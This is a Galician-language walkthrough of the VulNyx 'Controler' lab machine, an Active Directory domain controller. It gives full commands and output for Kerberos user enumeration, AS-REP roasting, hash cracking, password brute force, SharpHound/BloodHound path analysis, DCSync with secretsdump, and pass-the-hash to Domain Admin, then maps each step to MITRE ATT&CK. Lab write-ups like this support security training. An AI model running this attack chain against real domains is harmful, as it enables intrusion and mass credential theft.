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Controler

Máquina virtual Controler

Fig. VulNyx Controler
Fig. Card VulNyx Controler

A máquina Controler é moi interesante porque...

  • Active Directory Domain Controller (Windows Server 2019)
  • Enumeración de usuarios mediante Kerberos sen credenciais
  • AS-REP Roasting attack contra usuario vulnerable
  • Cracking de hash Kerberos con Hashcat
  • Ataque de forza bruta para obter segunda conta
  • Enumeración de Active Directory con BloodHound/SharpHound
  • Privilexio AllExtendedRights para DCSync
  • Extracción de hashes NTLM con secretsdump
  • Pass-the-Hash para acceso como Administrator

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 – Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Controler -R # TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Controler

Resultado do escaneo de portos: 

PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
49664-49671/tcp open  msrpc

Portos identificados:

  • Porto 53: DNS
  • Porto 88: Kerberos
  • Porto 135: MSRPC
  • Porto 139/445: SMB/NetBIOS
  • Porto 389/636: LDAP/LDAPS
  • Porto 464: Kerberos Password Change
  • Porto 593: RPC over HTTP
  • Porto 3268/3269: Global Catalog LDAP
  • Porto 5985: WinRM

Fase 2 – Análise

Escaneo de servizos e versións

# Escaneo detallado dos portos principais
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985 \
          -sCV IP_VulNyx_Controler -oN targeted -oX targeted.xml

Resultado do escaneo: 

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-12 05:05:03Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: control.nyx0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: control.nyx0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h59m57s
|_nbstat: NetBIOS name: CONTROLER, NetBIOS user: <unknown>

Service Info: Host: CONTROLER; OS: Windows; CPE: cpe:/o:microsoft:windows

Información do sistema:

  • Hostname: CONTROLER
  • Dominio: control.nyx
  • Sistema operativo: Windows Server 2019 Build 17763
  • SMB signing: Enabled and required (protección contra relay attacks)

Configuración do ficheiro hosts

# Engadir dominio ao /etc/hosts
echo "IP_VulNyx_Controler  control.nyx controler.control.nyx" | sudo tee -a /etc/hosts

Verificación con NetExec

# Verificar conexión SMB
netexec smb IP_VulNyx_Controler

Saída: 

SMB    IP_VulNyx_Controler  445  CONTROLER  [*] Windows 10 / Server 2019 Build 17763 x64 (name:CONTROLER) (domain:control.nyx) (signing:True) (SMBv1:False)

Tentativas de acceso anónimo

# Intentar acceso anónimo a SMB
smbclient -L //IP_VulNyx_Controler -N

# Intentar enumeración con smbmap
smbmap -H IP_VulNyx_Controler

# Intentar RPC con acceso nulo
rpcclient -U '' -N IP_VulNyx_Controler
rpcclient $> enumdomusers

Resultado: 

smbclient: NT_STATUS_ACCESS_DENIED
smbmap: [!] Authentication error on IP_VulNyx_Controler
rpcclient: NT_STATUS_ACCESS_DENIED

Conclusión: Non hai acceso anónimo a SMB nin RPC. Necesitamos outro vector de ataque.

Enumeración de usuarios con Kerberos

Estratexia:

Kerberos permite verificar se un usuario existe sen necesidade de contrasinal, baseándose nas respostas de erro do KDC (Key Distribution Center).

Tipos de respostas:

  • KDC_ERR_PREAUTH_FAILED: Usuario existe pero contrasinal incorrecta
  • KDC_ERR_CLIENT_REVOKED: Usuario existe pero está deshabilitado
  • KDC_ERR_C_PRINCIPAL_UNKNOWN: Usuario non existe

Preparar wordlists: 

# Descargar wordlists de usuarios comúns
wget https://raw.githubusercontent.com/attackdebris/kerberos_enum_userlists/master/A-Z.Surnames.txt

wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/xato-net-10-million-usernames.txt

Enumeración con NetExec: 

# Enumerar con wordlist pequena primeiro
netexec ldap IP_VulNyx_Controler \
         -u xato-net-10-million-usernames.txt \
         -p '' \
         -k \
         -t 200 | grep -vi unknown

Resultado: 

LDAP    IP_VulNyx_Controler  389  CONTROLER  [*] Windows 10 / Server 2019 Build 17763 (name:CONTROLER) (domain:control.nyx)
LDAP    IP_VulNyx_Controler  389  CONTROLER  [-] control.nyx\guest: KDC_ERR_CLIENT_REVOKED
LDAP    IP_VulNyx_Controler  389  CONTROLER  [-] control.nyx\administrator: KDC_ERR_PREAUTH_FAILED

Usuarios básicos identificados:

  • administrator (existe, activo)
  • guest (existe, deshabilitado)

Busca de usuarios vulnerables a AS-REP Roasting

Información sobre AS-REP Roasting:

AS-REP Roasting é un ataque contra contas que teñen deshabilitada a pre-autenticación Kerberos (atributo DONT_REQ_PREAUTH).

Como funciona:

  1. Por defecto, Kerberos require que o usuario demostre que coñece a contrasinal antes de recibir un TGT
  2. Se unha conta ten deshabilitada a pre-autenticación
  3. Calquera pode solicitar un TGT para ese usuario
  4. O TGT está cifrado coa contrasinal do usuario (hash)
  5. Podemos crackear este TGT offline sen límite de intentos

Buscar usuarios vulnerables: 

# Enumerar con wordlist de apelidos
netexec ldap IP_VulNyx_Controler \
         -u A-Z.Surnames.txt \
         -p '' \
         -k \
         -t 200 | grep -vi unknown

Resultado: 

LDAP    IP_VulNyx_Controler  389  CONTROLER  [*] Windows 10 / Server 2019 Build 17763 (name:CONTROLER) (domain:control.nyx)
LDAP    IP_VulNyx_Controler  389  CONTROLER  [+] control.nyx\[usuario.apelido] account vulnerable to asreproast attack

Usuario vulnerable identificado: [usuario.apelido]

Nota: NetExec detecta automaticamente usuarios vulnerables a AS-REP Roasting e os marca claramente.

Obtención de hash AS-REP

# Obter hash AS-REP do usuario [usuario.apelido]
netexec ldap IP_VulNyx_Controler \
         -u [usuario.apelido] \
         -p '' \
         --asreproast asrep_hash.txt

Resultado: 

LDAP    IP_VulNyx_Controler  389  CONTROLER  [*] Windows 10 / Server 2019 Build 17763 (name:CONTROLER) (domain:control.nyx)
LDAP    IP_VulNyx_Controler  389  CONTROLER  [*] Dumping hash for [usuario.apelido]

Contido de asrep_hash.txt: 

$krb5asrep$23$[usuario.apelido]@CONTROL.NYX:[hash_data]

Formato do hash:

  • $krb5asrep$23$: Tipo de hash (Kerberos 5 AS-REP etype 23)
  • [usuario.apelido]@CONTROL.NYX: Usuario
  • [hash_data]: Datos cifrados co contrasinal do usuario

Fase 3 – Explotación

Cracking do hash AS-REP con Hashcat

# Identificar o modo de Hashcat: 18200 = Kerberos 5 AS-REP etype 23
hashcat --example | grep -B2 -i kerberos
hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt

# Ver resultado
hashcat -m 18200 asrep_hash.txt --show

Resultado: 

$krb5asrep$23$[usuario.apelido]@CONTROL.NYX:[...]:[contrasinal1]

Credenciais de [usuario.apelido] obtidas:

  • Usuario: [usuario.apelido]
  • Contrasinal: [contrasinal1]

Verificación de credenciais

# Verificar credenciais e enumerar shares
netexec smb IP_VulNyx_Controler -u '[usuario.apelido]' -p '[contrasinal1]' --shares

Resultado: 

SMB    IP_VulNyx_Controler  445  CONTROLER  [+] control.nyx\[usuario.apelido]:[contrasinal1]
SMB    IP_VulNyx_Controler  445  CONTROLER  [*] Enumerated shares
SMB    IP_VulNyx_Controler  445  CONTROLER  Share           Permissions     Remark
SMB    IP_VulNyx_Controler  445  CONTROLER  -----           -----------     ------
SMB    IP_VulNyx_Controler  445  CONTROLER  ADMIN$                          Remote Admin
SMB    IP_VulNyx_Controler  445  CONTROLER  C$                              Default share
SMB    IP_VulNyx_Controler  445  CONTROLER  IPC$            READ            Remote IPC
SMB    IP_VulNyx_Controler  445  CONTROLER  NETLOGON        READ            Logon server share
SMB    IP_VulNyx_Controler  445  CONTROLER  SYSVOL          READ            Logon server share

Credenciais válidas confirmadas

Enumeración de usuarios do dominio

# Listar todos os usuarios do dominio
netexec smb IP_VulNyx_Controler -u '[usuario.apelido]' -p '[contrasinal1]' --users

Resultado: 

SMB    IP_VulNyx_Controler  445  CONTROLER  [+] control.nyx\[usuario.apelido]:[contrasinal1]
SMB    IP_VulNyx_Controler  445  CONTROLER  -Username-        -Last PW Set-       -BadPW- -Description-
SMB    IP_VulNyx_Controler  445  CONTROLER  Administrator     2024-10-22 20:59:42 0       (Account Enabled)
SMB    IP_VulNyx_Controler  445  CONTROLER  Guest             <never>             0       (Account Disabled)
SMB    IP_VulNyx_Controler  445  CONTROLER  krbtgt            2024-10-22 18:21:34 0       Key Distribution Center Service Account
SMB    IP_VulNyx_Controler  445  CONTROLER  [usuario2.apelido2]            2024-10-22 20:50:12 0       (Account Enabled)
SMB    IP_VulNyx_Controler  445  CONTROLER  [usuario.apelido]          2024-10-22 20:24:04 0       (Account Enabled)
SMB    IP_VulNyx_Controler  445  CONTROLER  [usuario3.apelido3]           2024-10-22 20:26:33 0       (Account Disabled)
SMB    IP_VulNyx_Controler  445  CONTROLER  [usuario4.apelido4]          2024-10-22 20:27:50 0       (Account Disabled)
SMB    IP_VulNyx_Controler  445  CONTROLER  [usuario5.apelido5]          2024-10-22 20:28:51 0       (Account Disabled)

Usuarios activos identificados:

  • Administrator
  • [usuario2.apelido2] ← Novo obxectivo para escalada
  • [usuario.apelido] (conta con contrasinal atopado)

Ataque de forza bruta sobre [usuario2.apelido2]

# Crear lista reducida de rockyou para eficiencia
head -5000 /usr/share/wordlists/rockyou.txt > 5000-rockyou.txt

# Forza bruta sobre [usuario2.apelido2]
netexec smb IP_VulNyx_Controler \
         -u '[usuario2.apelido2]' \
         -p 5000-rockyou.txt \
         -t 200 \
         --ignore-pw-decoding | grep -vi failure

Resultado: 

SMB    IP_VulNyx_Controler  445  CONTROLER  [+] control.nyx\[usuario2.apelido2]:[contrasinal2]

Credenciais de [usuario2.apelido2] obtidas:

  • Usuario: [usuario2.apelido2]
  • Contrasinal: [contrasinal2]

Verificar acceso de [usuario2.apelido2]

# Verificar se [usuario2.apelido2] ten acceso administrativo local
netexec smb IP_VulNyx_Controler -u '[usuario2.apelido2]' -p '[contrasinal2]'

# Verificar acceso WinRM
netexec winrm IP_VulNyx_Controler -u '[usuario2.apelido2]' -p '[contrasinal2]'

Resultado: 

SMB     IP_VulNyx_Controler  445   CONTROLER  [+] control.nyx\[usuario2.apelido2]:[contrasinal2]
WINRM   IP_VulNyx_Controler  5985  CONTROLER  [+] control.nyx\[usuario2.apelido2]:[contrasinal2] (Pwn3d!)

Nota "Pwn3d!": Indica que temos acceso WinRM (Remote Management)

Acceso con Evil-WinRM

# Conectar con Evil-WinRM
evil-winrm -i IP_VulNyx_Controler -u '[usuario2.apelido2]' -p '[contrasinal2]'

Saída: 

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents>

Obtención de flag de usuario

# Navegar ao Desktop
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents> cd ..\Desktop

# Ler flag de usuario
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Desktop> type user.txt
[FLAG_USER]

Flag de usuario conseguida

Fase 4 – Post-Explotación

Verificar privilexios

*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Desktop> whoami
control\[usuario2.apelido2]

*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Non hai privilexios especiais para escalada directa (sen SeBackupPrivilege, SeImpersonatePrivilege, etc.)

Estratexia de escalada

Sen privilexios especiais en Windows, a estratexia é:

  1. Enumeración de AD con BloodHound/SharpHound para identificar rutas de escalada
  2. Abusar de permisos ACL se os temos
  3. DCSync se temos dereitos de replicación

Preparación de SharpHound

# Descargar SharpHound desde GitHub
cd ~/Downloads
wget https://github.com/SpecterOps/SharpHound/releases/download/v2.8.0/SharpHound_v2.8.0_windows_x86.zip

# Descomprimir
7z x SharpHound_v2.8.0_windows_x86.zip

Upload de SharpHound

# Desde Evil-WinRM, subir SharpHound.exe
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents> upload /home/kali/Downloads/SharpHound.exe

Info: Uploading /home/kali/Downloads/SharpHound.exe to C:\Users\[usuario2.apelido2]\Documents\SharpHound.exe
Data: 1753768 bytes of 1753768 bytes copied
Info: Upload successful!

Execución de SharpHound

# Executar SharpHound para recoller todos os datos de AD
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents> .\SharpHound.exe -c All

2025-11-12T10:33:09.1234567-00:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-11-12T10:33:09.2345678-00:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-11-12T10:33:09.3456789-00:00|INFORMATION|Initializing SharpHound at 10:33 AM on 11/12/2025
2025-11-12T10:33:09.4567890-00:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-11-12T10:33:09.5678901-00:00|INFORMATION|Beginning LDAP search for control.nyx
2025-11-12T10:33:09.6789012-00:00|INFORMATION|Producer has finished, closing LDAP channel
2025-11-12T10:33:09.7890123-00:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-11-12T10:33:40.1234567-00:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 38MB RAM
2025-11-12T10:34:09.2345678-00:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2025-11-12T10:34:09.3456789-00:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-11-12T10:34:09.4567890-00:00|INFORMATION|Status: 103 objects finished (+103 1.030)/s -- Using 43MB RAM
2025-11-12T10:34:09.5678901-00:00|INFORMATION|Enumeration finished in 00:01:00.0123456
2025-11-12T10:34:09.6789012-00:00|INFORMATION|Saving cache with stats: 59 ID to type mappings.
 0 name to SID mappings.
 1 machine sid mappings.
 3 sid to domain mappings.
 0 global catalog mappings.
2025-11-12T10:34:09.7890123-00:00|INFORMATION|SharpHound Enumeration Completed at 10:34 AM on 11/12/2025! Happy Graphing!

Ficheiro ZIP xerado: 20251112103309_BloodHound.zip

Descarga do ficheiro ZIP

# Descargar ficheiro ZIP con datos de BloodHound
*Evil-WinRM* PS C:\Users\j.levy\Documents> download 20251112103309_BloodHound.zip

Info: Downloading C:\Users\j.levy\Documents\20251112103309_BloodHound.zip to 20251112103309_BloodHound.zip
Info: Download successful!

Instalación e configuración de BloodHound

Instalar Neo4j e BloodHound: 

# Actualizar sistema
sudo apt update

# Instalar Neo4j
sudo apt install -y neo4j

# Instalar BloodHound
sudo apt install -y bloodhound

Configurar Java 11 (necesario para Neo4j): 

# Ver versións de Java dispoñibles
sudo update-alternatives --config java

# Seleccionar Java 11
# Selection: 1 (/usr/lib/jvm/java-11-openjdk-amd64/bin/java)
There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                         Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java   1111      manual mode
  2            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      manual mode

Press <enter> to keep the current choice[*], or type selection number: 1

Iniciar Neo4j: 

# Iniciar servizo Neo4j
sudo neo4j console

Deixar esta terminal aberta e abrir outra terminal

Primeira execución de BloodHound: 

# Executar bloodhound (primeira vez)
bloodhound

Proceso de configuración inicial: 

It seems it's the first time you run bloodhound

Please run bloodhound-setup first

Do you want to run bloodhound-setup now? [Y/n] Y

[*] Starting PostgreSQL service
[*] Creating Database
[*] Starting neo4j
Neo4j is running at pid 5416

[i] You need to change the default password for neo4j
    Default credentials are user:neo4j password:neo4j

[!] IMPORTANT: Once you have setup the new password, please update /etc/bhapi/bhapi.json with the new password before running bloodhound

opening http://localhost:7474/

Cambiar contrasinal de Neo4j:

  1. Ábrese navegador en http://localhost:7474/
  2. Login con: neo4j / neo4j
    Fig. Login
  3. Cambiar contrasinal (exemplo: abc123.)
    Fig. Login

Actualizar configuración de BloodHound: 

# Editar ficheiro de configuración
sudo nano /etc/bhapi/bhapi.json

Modificar o campo neo4j.secret: 

{
  "neo4j": {
    "addr": "localhost:7687",
    "username": "neo4j",
    "secret": "abc123."
  }
}

Reiniciar servizos: 

# Parar procesos
sudo pkill -f bloodhound
sudo pkill -f neo4j

# Iniciar Neo4j en background
sudo neo4j console &
disown

# Iniciar BloodHound
bloodhound

Interface web de BloodHound:

Ábrese automaticamente en: http://127.0.0.1:8080/ui/login

  1. Login con: admin / admin
    Fig. Login
  2. Cambiar contrasinal na primeira autenticación
  3. Requisitos: mínimo 8 caracteres, maiúsculas, minúsculas, números
    Fig. Login Fig. Login

Subir datos a BloodHound

Na interface web:

  1. Click en "Upload Data" (icona de nube arriba á dereita)
  2. Seleccionar ficheiro 20251112103309_BloodHound.zip
    Fig. Login
  3. Ou arrastralo directamente á interface
    Fig. Login
  4. Esperar a que se procesen os datos (1-2 minutos)

Análise con BloodHound

Buscar usuario [usuario2.apelido2]:

  1. Na barra de busca: escribir user:[usuario2.apelido2]
    Fig. Login
  2. Seleccionar nodo [USUARIO2.APELIDO2]@CONTROL.NYX
    Fig. Login
  3. Botón dereito → Set as Starting Node
    Fig. Login

Buscar camiños a Domain Admin:

  1. Seleccionar "Pathfinding" no menú lateral
  2. En "Destination Node" escribir: `ADMINISTRATOR@CONTROL.NYX
    Fig. Login

Ruta identificada: 

[USUARIO2.APELIDO2]@CONTROL.NYX
    ↓
  AllExtendedRights
    ↓
CONTROL.NYX (Domain)

Fig. Login

Información sobre AllExtendedRights:

Clicar na relación "AllExtendedRights" e ver "Help" → "Linux Abuse"

Fig. Login

AllExtendedRights no dominio permite sen necesidade de ser Domain Admin:

  • Realizar operacións DCSync
  • Extraer hashes de todos os usuarios (incluído Administrator e krbtgt)

DCSync Attack

Información sobre DCSync:

DCSync é un ataque que simula o comportamento dun Domain Controller.

Como funciona:

  1. Os DCs replican datos entre eles mediante DRSUAPI
  2. Se un usuario ten permisos de replicación (AllExtendedRights ou privilexios DS-Replication-Get-Changes)
  3. Pode solicitar "replicación" e obter todos os hashes NTLM do dominio

Privilexios necesarios:

  • DS-Replication-Get-Changes (Replicating Directory Changes)
  • DS-Replication-Get-Changes-All (Replicating Directory Changes All)

Ou:

  • AllExtendedRights no dominio (que inclúe os anteriores)

Execución de secretsdump: 

# Dump de todos os hashes do dominio con secretsdump
impacket-secretsdump 'CONTROL/[usuario2.apelido2]:[contrasinal2]'@IP_VulNyx_Controler

Resultado: 

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[nthash-administrator]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[nthash-guest]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[nthash-krbtgt]:::
[usuario.apelido]:1103:aad3b435b51404eeaad3b435b51404ee:[nthash-usuario.apelido]:::
[usuario2.apelido2]:1104:aad3b435b51404eeaad3b435b51404ee:[nthash-usuario2.apelido2]:::
[usuario3.apelido3]:1105:aad3b435b51404eeaad3b435b51404ee:[nthash-usuario3.apelido3]:::
[usuario4.apelido4]:1106:aad3b435b51404eeaad3b435b51404ee:[nthash-usuario4.apelido4]:::
[usuario5.apelido5]:1107:aad3b435b51404eeaad3b435b51404ee::[nthash-usuario5.apelido5]::
CONTROLER$:1000:aad3b435b51404eeaad3b435b51404ee:[nthash-CONTROLER$]:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
Administrator:aes128-cts-hmac-sha1-96:b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7
Administrator:des-cbc-md5:c3d4e5f6a7b8c9d0
krbtgt:aes256-cts-hmac-sha1-96:d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5
krbtgt:aes128-cts-hmac-sha1-96:e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0
krbtgt:des-cbc-md5:f6a7b8c9d0e1f2a3
[*] Cleaning up...

Hashes críticos obtidos:
- Administrator: [nthash-administrator]
- krbtgt: [nthash-krbtgt]

Nota sobre RemoteOperations failed: Este erro é normal porque non temos privilexios para executar operacións remotas vía RPC, pero o método DRSUAPI (DCSync) funciona correctamente.

Pass-the-Hash como Administrator

# Acceso con hash NTLM de Administrator
evil-winrm -i IP_VulNyx_Controler -u 'Administrator' -H '[nthash-administrator]'

Saída: 

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Acceso como Administrator conseguido

Obtención de flag de root

# Navegar ao Desktop de Administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop

# Ler flag de root
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[FLAG_ROOT]

# Verificar privilexios
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
control\administrator

*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
...
CONTROL\Domain Admins                      Group            S-1-5-21-... Mandatory group, Enabled by default, Enabled group

Dominio comprometido: Acceso total como Domain Administrator

Correspondencia de fases → MITRE ATT&CK – VulNyx: Controler

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de rede e DC Network scanning T1595 – Active Scanning
T1046 – Network Service Discovery		 CWE-200 – Information Exposure
Identificación de controlador de dominio AD reconnaissance T1590 – Gather Victim Network Information
T1018 – Remote System Discovery		 CWE-200 – Information Exposure
2. Análise Enumeración de usuarios con Kerberos Kerberos user enumeration T1087.002 – Account Discovery: Domain Account
T1589.003 – Gather Victim Identity Information: Employee Names		 CWE-200 – Information Exposure
Detección de usuario vulnerable a AS-REP Roasting Kerberos misconfiguration discovery T1558.004 – Steal or Forge Kerberos Tickets: AS-REP Roasting CWE-287 – Improper Authentication
3. Explotación AS-REP Roasting contra [usuario.apelido] Kerberos exploitation T1558.004 – Steal or Forge Kerberos Tickets: AS-REP Roasting CWE-287 – Improper Authentication
Crackeo de hash AS-REP Offline password cracking T1110.002 – Brute Force: Password Cracking CWE-521 – Weak Password Requirements
Enumeración de usuarios do dominio Domain account enumeration T1087.002 – Account Discovery: Domain Account CWE-200 – Information Exposure
Forza bruta sobre [usuario2.apelido2] Password guessing attack T1110.001 – Brute Force: Password Guessing
T1110.003 – Brute Force: Password Spraying		 CWE-521 – Weak Password Requirements
Acceso con Evil-WinRM como [usuario2.apelido2] Remote service exploitation T1021.006 – Remote Services: Windows Remote Management
T1078.002 – Valid Accounts: Domain Accounts		 N/A
4. Post-Explotación Upload e execución de SharpHound AD enumeration tool T1087.002 – Account Discovery: Domain Account
T1069.002 – Permission Groups Discovery: Domain Groups		 CWE-200 – Information Exposure
Análise con BloodHound AD relationship analysis T1087.002 – Account Discovery: Domain Account
T1069.002 – Permission Groups Discovery: Domain Groups		 CWE-200 – Information Exposure
Descubrimento de privilexio AllExtendedRights ACL misconfiguration discovery T1069.001 – Permission Groups Discovery: Local Groups CWE-269 – Improper Privilege Management
DCSync attack Domain credential dumping T1003.006 – OS Credential Dumping: DCSync
T1558 – Steal or Forge Kerberos Tickets		 CWE-269 – Improper Privilege Management
Extracción de todos os hashes NTLM Mass credential theft T1003.006 – OS Credential Dumping: DCSync
T1552.001 – Unsecured Credentials: Credentials In Files		 CWE-312 – Cleartext Storage of Sensitive Information
Pass-the-Hash como Administrator Credential reuse T1550.002 – Use Alternate Authentication Material: Pass the Hash
T1078.002 – Valid Accounts: Domain Accounts		 N/A